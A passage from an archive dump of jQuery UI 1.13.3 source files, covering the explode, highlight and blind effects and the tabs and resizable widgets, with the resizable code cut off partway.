// AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "explode", "hide", function( options, done ) { var i, j, left, top, mx, my, rows = options.pieces ? Math.round( Math.sqrt( options.pieces ) ) : 3, cells = rows, element = $( this ), mode = options.mode, show = mode === "show", // Show and then visibility:hidden the element before calculating offset offset = element.show().css( "visibility", "hidden" ).offset(), // Width and height of a piece width = Math.ceil( element.outerWidth() / cells ), height = Math.ceil( element.outerHeight() / rows ), pieces = []; // Children animate complete: function childComplete() { pieces.push( this ); if ( pieces.length === rows * cells ) { animComplete(); } } // Clone the element for each row and cell. for ( i = 0; i < rows; i++ ) { // ===> top = offset.top + i * height; my = i - ( rows - 1 ) / 2; for ( j = 0; j < cells; j++ ) { // ||| left = offset.left + j * width; mx = j - ( cells - 1 ) / 2; // Create a clone of the now hidden main element that will be absolute positioned // within a wrapper div off the -left and -top equal to size of our pieces element .clone() .appendTo( "body" ) .wrap( "<div></div>" ) .css( { position: "absolute", visibility: "visible", left: -j * width, top: -i * height } ) // Select the wrapper - make it overflow: hidden and absolute positioned based on // where the original was located +left and +top equal to the size of pieces .parent() .addClass( "ui-effects-explode" ) .css( { position: "absolute", overflow: "hidden", width: width, height: height, left: left + ( show ? mx * width : 0 ), top: top + ( show ? my * height : 0 ), opacity: show ? 0 : 1 } ) .animate( { left: left + ( show ? 0 : mx * width ), top: top + ( show ? 0 : my * height ), opacity: show ? 1 : 0 }, options.duration || 500, options.easing, childComplete ); } } function animComplete() { element.css( { visibility: "visible" } ); $( pieces ).remove(); done(); } } ); } ); jquery/ui/effect-highlight.min.js 0000644 00000001210 15111757754 0013030 0 ustar 00 /*! * jQuery UI Effects Highlight 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(t){"use strict";return t.effects.define("highlight","show",function(e,n){var o=t(this),i={backgroundColor:o.css("backgroundColor")};"hide"===e.mode&&(i.opacity=0),t.effects.saveStyle(o),o.css({backgroundImage:"none",backgroundColor:e.color||"#ffff99"}).animate(i,{queue:!1,duration:e.duration,easing:e.easing,complete:n})})}); jquery/ui/effect-blind.js 0000644 00000003154 15111757754 0011400 0 ustar 00 /*! * jQuery UI Effects Blind 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Blind Effect //>>group: Effects //>>description: Blinds the element. //>>docs: https://api.jqueryui.com/blind-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "blind", "hide", function( options, done ) { var map = { up: [ "bottom", "top" ], vertical: [ "bottom", "top" ], down: [ "top", "bottom" ], left: [ "right", "left" ], horizontal: [ "right", "left" ], right: [ "left", "right" ] }, element = $( this ), direction = options.direction || "up", start = element.cssClip(), animate = { clip: $.extend( {}, start ) }, placeholder = $.effects.createPlaceholder( element ); animate.clip[ map[ direction ][ 0 ] ] = animate.clip[ map[ direction ][ 1 ] ]; if ( options.mode === "show" ) { element.cssClip( animate.clip ); if ( placeholder ) { placeholder.css( $.effects.clipToBox( animate ) ); } animate.clip = start; } if ( placeholder ) { placeholder.animate( $.effects.clipToBox( animate ), options.duration, options.easing ); } element.animate( animate, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); jquery/ui/pagedefaults 0000644 00000000000 15111757754 0011072 0 ustar 00 jquery/ui/tabs.min.js 0000644 00000027350 15111757754 0010575 0 ustar 00 /*! * jQuery UI Tabs 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","../keycode","../safe-active-element","../unique-id","../version","../widget"],t):t(jQuery)}(function(l){"use strict";var a;return l.widget("ui.tabs",{version:"1.13.3",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:(a=/#.*$/,function(t){var e=t.href.replace(a,""),i=location.href.replace(a,"");try{e=decodeURIComponent(e)}catch(t){}try{i=decodeURIComponent(i)}catch(t){}return 1<t.hash.length&&e===i}),_create:function(){var e=this,t=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,t.collapsible),this._processTabs(),t.active=this._initialActive(),Array.isArray(t.disabled)&&(t.disabled=l.uniqueSort(t.disabled.concat(l.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),!1!==this.options.active&&this.anchors.length?this.active=this._findActive(t.active):this.active=l(),this._refresh(),this.active.length&&this.load(t.active)},_initialActive:function(){var i=this.options.active,t=this.options.collapsible,a=location.hash.substring(1);return null===i&&(a&&this.tabs.each(function(t,e){if(l(e).attr("aria-controls")===a)return i=t,!1}),null!==(i=null===i?this.tabs.index(this.tabs.filter(".ui-tabs-active")):i)&&-1!==i||(i=!!this.tabs.length&&0)),!1!==i&&-1===(i=this.tabs.index(this.tabs.eq(i)))&&(i=!t&&0),i=!t&&!1===i&&this.anchors.length?0:i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):l()}},_tabKeydown:function(t){var e=l(l.ui.safeActiveElement(this.document[0])).closest("li"),i=this.tabs.index(e),a=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case l.ui.keyCode.RIGHT:case l.ui.keyCode.DOWN:i++;break;case l.ui.keyCode.UP:case l.ui.keyCode.LEFT:a=!1,i--;break;case l.ui.keyCode.END:i=this.anchors.length-1;break;case l.ui.keyCode.HOME:i=0;break;case l.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i);case l.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i!==this.options.active&&i);default:return}t.preventDefault(),clearTimeout(this.activating),i=this._focusNextTab(i,a),t.ctrlKey||t.metaKey||(e.attr("aria-selected","false"),this.tabs.eq(i).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",i)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===l.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===l.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===l.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,e){var i=this.tabs.length-1;for(;-1!==l.inArray(t=(t=i<t?0:t)<0?i:t,this.options.disabled);)t=e?t+1:t-1;return t},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){"active"===t?this._activate(e):(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||!1!==this.options.active||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e))},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,e=this.tablist.children(":has(a[href])");t.disabled=l.map(e.filter(".ui-state-disabled"),function(t){return e.index(t)}),this._processTabs(),!1!==t.active&&this.anchors.length?this.active.length&&!l.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=l()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=l()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var o=this,t=this.tabs,e=this.anchors,i=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(t){l(this).is(".ui-state-disabled")&&t.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){l(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return l("a",this)[0]}).attr({tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=l(),this.anchors.each(function(t,e){var i,a,s,n=l(e).uniqueId().attr("id"),h=l(e).closest("li"),r=h.attr("aria-controls");o._isLocal(e)?(s=(i=e.hash).substring(1),a=o.element.find(o._sanitizeSelector(i))):(s=h.attr("aria-controls")||l({}).uniqueId()[0].id,(a=o.element.find(i="#"+s)).length||(a=o._createPanel(s)).insertAfter(o.panels[t-1]||o.tablist),a.attr("aria-live","polite")),a.length&&(o.panels=o.panels.add(a)),r&&h.data("ui-tabs-aria-controls",r),h.attr({"aria-controls":s,"aria-labelledby":n}),a.attr("aria-labelledby",n)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),t&&(this._off(t.not(this.tabs)),this._off(e.not(this.anchors)),this._off(i.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return l("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var e,i;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),i=0;e=this.tabs[i];i++)e=l(e),!0===t||-1!==l.inArray(i,t)?(e.attr("aria-disabled","true"),this._addClass(e,null,"ui-state-disabled")):(e.removeAttr("aria-disabled"),this._removeClass(e,null,"ui-state-disabled"));this.options.disabled=t,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!0===t)},_setupEvents:function(t){var i={};t&&l.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,e=this.element.parent();"fill"===t?(i=e.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=l(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=l(this).outerHeight(!0)}),this.panels.each(function(){l(this).height(Math.max(0,i-l(this).innerHeight()+l(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,l(this).height("").height())}).height(i))},_eventHandler:function(t){var e=this.options,i=this.active,a=l(t.currentTarget).closest("li"),s=a[0]===i[0],n=s&&e.collapsible,h=n?l():this._getPanelForTab(a),r=i.length?this._getPanelForTab(i):l(),i={oldTab:i,oldPanel:r,newTab:n?l():a,newPanel:h};t.preventDefault(),a.hasClass("ui-state-disabled")||a.hasClass("ui-tabs-loading")||this.running||s&&!e.collapsible||!1===this._trigger("beforeActivate",t,i)||(e.active=!n&&this.tabs.index(a),this.active=s?l():a,this.xhr&&this.xhr.abort(),r.length||h.length||l.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(a),t),this._toggle(t,i))},_toggle:function(t,e){var i=this,a=e.newPanel,s=e.oldPanel;function n(){i.running=!1,i._trigger("activate",t,e)}function h(){i._addClass(e.newTab.closest("li"),"ui-tabs-active","ui-state-active"),a.length&&i.options.show?i._show(a,i.options.show,n):(a.show(),n())}this.running=!0,s.length&&this.options.hide?this._hide(s,this.options.hide,function(){i._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),h()}):(this._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),s.hide(),h()),s.attr("aria-hidden","true"),e.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),a.length&&s.length?e.oldTab.attr("tabIndex",-1):a.length&&this.tabs.filter(function(){return 0===l(this).attr("tabIndex")}).attr("tabIndex",-1),a.attr("aria-hidden","false"),e.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var t=this._findActive(t);t[0]!==this.active[0]&&(t=(t=t.length?t:this.active).find(".ui-tabs-anchor")[0],this._eventHandler({target:t,currentTarget:t,preventDefault:l.noop}))},_findActive:function(t){return!1===t?l():this.tabs.eq(t)},_getIndex:function(t){return t="string"==typeof t?this.anchors.index(this.anchors.filter("[href$='"+l.escapeSelector(t)+"']")):t},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){l.data(this,"ui-tabs-destroy")?l(this).remove():l(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var t=l(this),e=t.data("ui-tabs-aria-controls");e?t.attr("aria-controls",e).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var t=this.options.disabled;!1!==t&&(t=void 0!==i&&(i=this._getIndex(i),Array.isArray(t)?l.map(t,function(t){return t!==i?t:null}):l.map(this.tabs,function(t,e){return e!==i?e:null})),this._setOptionDisabled(t))},disable:function(t){var e=this.options.disabled;if(!0!==e){if(void 0===t)e=!0;else{if(t=this._getIndex(t),-1!==l.inArray(t,e))return;e=Array.isArray(e)?l.merge([t],e).sort():[t]}this._setOptionDisabled(e)}},load:function(t,a){t=this._getIndex(t);function s(t,e){"abort"===e&&n.panels.stop(!1,!0),n._removeClass(i,"ui-tabs-loading"),h.removeAttr("aria-busy"),t===n.xhr&&delete n.xhr}var n=this,i=this.tabs.eq(t),t=i.find(".ui-tabs-anchor"),h=this._getPanelForTab(i),r={tab:i,panel:h};this._isLocal(t[0])||(this.xhr=l.ajax(this._ajaxSettings(t,a,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(i,"ui-tabs-loading"),h.attr("aria-busy","true"),this.xhr.done(function(t,e,i){setTimeout(function(){h.html(t),n._trigger("load",a,r),s(i,e)},1)}).fail(function(t,e){setTimeout(function(){s(t,e)},1)})))},_ajaxSettings:function(t,i,a){var s=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,e){return s._trigger("beforeLoad",i,l.extend({jqXHR:t,ajaxSettings:e},a))}}},_getPanelForTab:function(t){t=l(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+t))}}),!1!==l.uiBackCompat&&l.widget("ui.tabs",l.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}}),l.ui.tabs}); jquery/ui/resizable.min.js 0000644 00000044610 15111757754 0011622 0 ustar 00 /*! * jQuery UI Resizable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","../disable-selection","../plugin","../version","../widget"],t):t(jQuery)}(function(z){"use strict";return z.widget("ui.resizable",z.ui.mouse,{version:"1.13.3",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(t,i){if("hidden"===z(t).css("overflow"))return!1;var i=i&&"left"===i?"scrollLeft":"scrollTop",e=!1;if(0<t[i])return!0;try{t[i]=1,e=0<t[i],t[i]=0}catch(t){}return e},_create:function(){var t,i=this.options,e=this;this._addClass("ui-resizable"),z.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(z("<div class='ui-wrapper'></div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,t={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(t),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(t),this._proportionallyResize()),this._setupHandles(),i.autoHide&&z(this.element).on("mouseenter",function(){i.disabled||(e._removeClass("ui-resizable-autohide"),e._handles.show())}).on("mouseleave",function(){i.disabled||e.resizing||(e._addClass("ui-resizable-autohide"),e._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy(),this._addedHandles.remove();function t(t){z(t).removeData("resizable").removeData("ui-resizable").off(".resizable")}var i;return this.elementIsWrapper&&(t(this.element),i=this.element,this.originalElement.css({position:i.css("position"),width:i.outerWidth(),height:i.outerHeight(),top:i.css("top"),left:i.css("left")}).insertAfter(i),i.remove()),this.originalElement.css("resize",this.originalResizeStyle),t(this.originalElement),this},_setOption:function(t,i){switch(this._super(t,i),t){case"handles":this._removeHandles(),this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!i}},_setupHandles:function(){var t,i,e,s,h,n=this.options,o=this;if(this.handles=n.handles||(z(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=z(),this._addedHandles=z(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),e=this.handles.split(","),this.handles={},i=0;i<e.length;i++)s="ui-resizable-"+(t=String.prototype.trim.call(e[i])),h=z("<div>"),this._addClass(h,"ui-resizable-handle "+s),h.css({zIndex:n.zIndex}),this.handles[t]=".ui-resizable-"+t,this.element.children(this.handles[t]).length||(this.element.append(h),this._addedHandles=this._addedHandles.add(h));this._renderAxis=function(t){var i,e,s;for(i in t=t||this.element,this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=z(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=z(this.handles[i],this.element),s=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),e=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(e,s),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){o.resizing||(this.className&&(h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=h&&h[1]?h[1]:"se")}),n.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var i,e,s=!1;for(i in this.handles)(e=z(this.handles[i])[0])!==t.target&&!z.contains(e,t.target)||(s=!0);return!this.options.disabled&&s},_mouseStart:function(t){var i,e,s=this.options,h=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),e=this._num(this.helper.css("top")),s.containment&&(i+=z(s.containment).scrollLeft()||0,e+=z(s.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:e},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:h.width(),height:h.height()},this.originalSize=this._helper?{width:h.outerWidth(),height:h.outerHeight()}:{width:h.width(),height:h.height()},this.sizeDiff={width:h.outerWidth()-h.width(),height:h.outerHeight()-h.height()},this.originalPosition={left:i,top:e},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof s.aspectRatio?s.aspectRatio:this.originalSize.width/this.originalSize.height||1,h=z(".ui-resizable-"+this.axis).css("cursor"),z("body").css("cursor","auto"===h?this.axis+"-resize":h),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i=this.originalMousePosition,e=this.axis,s=t.pageX-i.left||0,i=t.pageY-i.top||0,e=this._change[e];return this._updatePrevProperties(),e&&(e=e.apply(this,[t,s,i]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(e=this._updateRatio(e,t)),e=this._respectSize(e,t),this._updateCache(e),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),z.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges())),!1},_mouseStop:function(t){this.resizing=!1;var i,e,s,h=this.options,n=this;return this._helper&&(e=(i=(e=this._proportionallyResizeElements).length&&/textarea/i.test(e[0].nodeName))&&this._hasScroll(e[0],"left")?0:n.sizeDiff.height,i=i?0:n.sizeDiff.width,i={width:n.helper.width()-i,height:n.helper.height()-e},e=parseFloat(n.element.css("left"))+(n.position.left-n.originalPosition.left)||null,s=parseFloat(n.element.css("top"))+(n.position.top-n.originalPosition.top)||null,h.animate||this.element.css(z.extend(i,{top:s,left:e})),n.helper.height(n.size.height),n.helper.width(n.size.width),this._helper)&&!h.animate&&this._proportionallyResize(),z("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.helper.css(t),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px",this.helper.width(t.width)),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px",this.helper.height(t.height)),t},_updateVirtualBoundaries:function(t){var i,e,s,h=this.options,h={minWidth:this._isNumber(h.minWidth)?h.minWidth:0,maxWidth:this._isNumber(h.maxWidth)?h.maxWidth:1/0,minHeight:this._isNumber(h.minHeight)?h.minHeight:0,maxHeight:this._isNumber(h.maxHeight)?h.maxHeight:1/0};(this._aspectRatio||t)&&(t=h.minHeight*this.aspectRatio,e=h.minWidth/this.aspectRatio,i=h.maxHeight*this.aspectRatio,s=h.maxWidth/this.aspectRatio,h.minWidth<t&&(h.minWidth=t),h.minHeight<e&&(h.minHeight=e),i<h.maxWidth&&(h.maxWidth=i),s<h.maxHeight)&&(h.maxHeight=s),this._vBoundaries=h},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var i=this.position,e=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=i.left+(e.width-t.width),t.top=null),"nw"===s&&(t.top=i.top+(e.height-t.height),t.left=i.left+(e.width-t.width)),t},_respectSize:function(t){var i=this._vBoundaries,e=this.axis,s=this._isNumber(t.width)&&i.maxWidth&&i.maxWidth<t.width,h=this._isNumber(t.height)&&i.maxHeight&&i.maxHeight<t.height,n=this._isNumber(t.width)&&i.minWidth&&i.minWidth>t.width,o=this._isNumber(t.height)&&i.minHeight&&i.minHeight>t.height,a=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,r=/sw|nw|w/.test(e),e=/nw|ne|n/.test(e);return n&&(t.width=i.minWidth),o&&(t.height=i.minHeight),s&&(t.width=i.maxWidth),h&&(t.height=i.maxHeight),n&&r&&(t.left=a-i.minWidth),s&&r&&(t.left=a-i.maxWidth),o&&e&&(t.top=l-i.minHeight),h&&e&&(t.top=l-i.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var i=0,e=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],h=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];i<4;i++)e[i]=parseFloat(s[i])||0,e[i]+=parseFloat(h[i])||0;return{height:e[0]+e[2],width:e[1]+e[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,i=0,e=this.helper||this.element;i<this._proportionallyResizeElements.length;i++)t=this._proportionallyResizeElements[i],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:e.height()-this.outerDimensions.height||0,width:e.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||z("<div></div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,i){return{width:this.originalSize.width+i}},w:function(t,i){var e=this.originalSize;return{left:this.originalPosition.left+i,width:e.width-i}},n:function(t,i,e){var s=this.originalSize;return{top:this.originalPosition.top+e,height:s.height-e}},s:function(t,i,e){return{height:this.originalSize.height+e}},se:function(t,i,e){return z.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,e]))},sw:function(t,i,e){return z.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,e]))},ne:function(t,i,e){return z.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,e]))},nw:function(t,i,e){return z.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,e]))}},_propagate:function(t,i){z.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),z.ui.plugin.add("resizable","animate",{stop:function(i){var e=z(this).resizable("instance"),t=e.options,s=e._proportionallyResizeElements,h=s.length&&/textarea/i.test(s[0].nodeName),n=h&&e._hasScroll(s[0],"left")?0:e.sizeDiff.height,h=h?0:e.sizeDiff.width,h={width:e.size.width-h,height:e.size.height-n},n=parseFloat(e.element.css("left"))+(e.position.left-e.originalPosition.left)||null,o=parseFloat(e.element.css("top"))+(e.position.top-e.originalPosition.top)||null;e.element.animate(z.extend(h,o&&n?{top:o,left:n}:{}),{duration:t.animateDuration,easing:t.animateEasing,step:function(){var t={width:parseFloat(e.element.css("width")),height:parseFloat(e.element.css("height")),top:parseFloat(e.element.css("top")),left:parseFloat(e.element.css("left"))};s&&s.length&&z(s[0]).css({width:t.width,height:t.height}),e._updateCache(t),e._propagate("resize",i)}})}}),z.ui.plugin.add("resizable","containment",{start:function(){var e,s,t,i,h=z(this).resizable("instance"),n=h.options,o=h.element,n=n.containment,o=n instanceof z?n.get(0):/parent/.test(n)?o.parent().get(0):n;o&&(h.containerElement=z(o),/document/.test(n)||n===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:z(document),left:0,top:0,width:z(document).width(),height:z(document).height()||document.body.parentNode.scrollHeight}):(e=z(o),s=[],z(["Top","Right","Left","Bottom"]).each(function(t,i){s[t]=h._num(e.css("padding"+i))}),h.containerOffset=e.offset(),h.containerPosition=e.position(),h.containerSize={height:e.innerHeight()-s[3],width:e.innerWidth()-s[1]},n=h.containerOffset,i=h.containerSize.height,t=h.containerSize.width,t=h._hasScroll(o,"left")?o.scrollWidth:t,i=h._hasScroll(o)?o.scrollHeight:i,h.parentData={element:o,left:n.left,top:n.top,width:t,height:i}))},resize:function(t){var 